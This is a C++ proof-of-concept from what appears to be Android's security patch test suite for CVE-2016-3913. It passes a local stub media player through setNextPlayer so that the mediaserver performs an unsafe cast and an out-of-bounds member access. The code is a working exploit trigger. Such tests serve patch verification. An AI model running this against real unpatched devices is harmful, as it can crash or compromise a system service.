securityPatch/CVE-2016-3913/poc.cpp

/**
 * Copyright (C) 2019 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include <binder/IServiceManager.h>
#include <media/IMediaHTTPService.h>
#include <media/IMediaPlayer.h>
#include <media/IMediaPlayerService.h>
#include <media/VolumeShaper.h>
#include <media/mediaplayer.h>

using namespace android;
using namespace android::media;

class MyMediaPlayer : public BnInterface<IMediaPlayer> {
 public:
  status_t onTransact(uint32_t code, const Parcel &data, Parcel *reply,
                      uint32_t flags = 0) {
    return OK;
  }
  void disconnect() {}

  status_t setDataSource(const sp<IMediaHTTPService> &httpService,
                         const char *url,
                         const KeyedVector<String8, String8> *headers) {
    return OK;
  }

  status_t setDataSource(int fd, int64_t offset, int64_t length) { return OK; }

  status_t setDataSource(const sp<IStreamSource> &source) { return OK; }

  status_t setDataSource(const sp<IDataSource> &source) { return OK; }

  status_t setVideoSurfaceTexture(
      const sp<IGraphicBufferProducer> &bufferProducer) {
    return OK;
  }

  status_t getBufferingSettings(BufferingSettings *buffering) {
    return OK;
  }

  status_t setBufferingSettings(const BufferingSettings &buffering) {
    return OK;
  }

  status_t prepareAsync() { return OK; }

  status_t start() { return OK; }

  status_t stop() { return OK; }

  status_t pause() { return OK; }

  status_t isPlaying(bool *state) { return OK; }

  status_t setPlaybackSettings(const AudioPlaybackRate &rate) { return OK; }

  status_t getPlaybackSettings(AudioPlaybackRate *rate) { return OK; }

  status_t setSyncSettings(const AVSyncSettings &sync, float videoFpsHint) {
    return OK;
  }

  status_t getSyncSettings(AVSyncSettings *sync, float *videoFps) { return OK; }

  status_t seekTo(int msec, MediaPlayerSeekMode mode) { return OK; }

  status_t getCurrentPosition(int *msec) { return OK; }

  status_t getDuration(int *msec) { return OK; }

  status_t notifyAt(int64_t mediaTimeUs) { return OK; }

  status_t reset() { return OK; }

  status_t setAudioStreamType(audio_stream_type_t stream) { return OK; }

  status_t setLooping(int loop) { return OK; }

  status_t setVolume(float leftVolume, float rightVolume) { return OK; }

  status_t setAuxEffectSendLevel(float level) { return OK; }

  status_t attachAuxEffect(int effectId) { return OK; }

  status_t setParameter(int key, const Parcel &request) { return OK; }

  status_t getParameter(int key, Parcel *reply) { return OK; }

  status_t setRetransmitEndpoint(const struct sockaddr_in *endpoint) {
    return OK;
  }

  status_t getRetransmitEndpoint(struct sockaddr_in *endpoint) { return OK; }

  status_t setNextPlayer(const sp<IMediaPlayer> &player) { return OK; }

  VolumeShaper::Status applyVolumeShaper(
      const sp<VolumeShaper::Configuration> &configuration,
      const sp<VolumeShaper::Operation> &operation) {
    return (VolumeShaper::Status)OK;
  }
  sp<VolumeShaper::State> getVolumeShaperState(int id) { return NULL; }

  status_t prepareDrm(const uint8_t uuid[16],
                      const Vector<uint8_t> &drmSessionId) {
    return OK;
  }

  status_t releaseDrm() { return OK; }

  status_t invoke(const Parcel &request, Parcel *reply) { return OK; }

  status_t setMetadataFilter(const Parcel &request) { return OK; }

  status_t getMetadata(bool update_only, bool apply_filter, Parcel *reply) {
    return OK;
  }

  status_t setOutputDevice(audio_port_handle_t deviceId) { return OK; }

  status_t getRoutedDeviceId(audio_port_handle_t *deviceId) { return OK; }

  status_t enableAudioDeviceCallback(bool enabled) { return OK; }
};

int main() {
  sp<IBinder> binder =
      defaultServiceManager()->getService(String16("media.player"));
  sp<IMediaPlayerService> service = interface_cast<IMediaPlayerService>(binder);
  sp<IMediaPlayer> player = service->create(
      new MediaPlayer(), (audio_session_t)AUDIO_SESSION_ALLOCATE);

  if (player == NULL) {
    return EXIT_FAILURE;
  }

  sp<IMediaPlayer> localPlayer = new MyMediaPlayer();
  if (localPlayer == NULL) {
    return EXIT_FAILURE;
  }

  // set the data source to initialize mPlayer
  player->setDataSource(NULL, "file:///test", NULL);

  // Set the next player to a local instance of BnMediaPlayer.
  // The remote side will construct a BpMediaPlayer object, and then
  // unsafely cast it to a MediaPlayerService::Client.
  // This will an out-of-bounds access on class members.
  player->setNextPlayer(localPlayer);

  return EXIT_SUCCESS;
}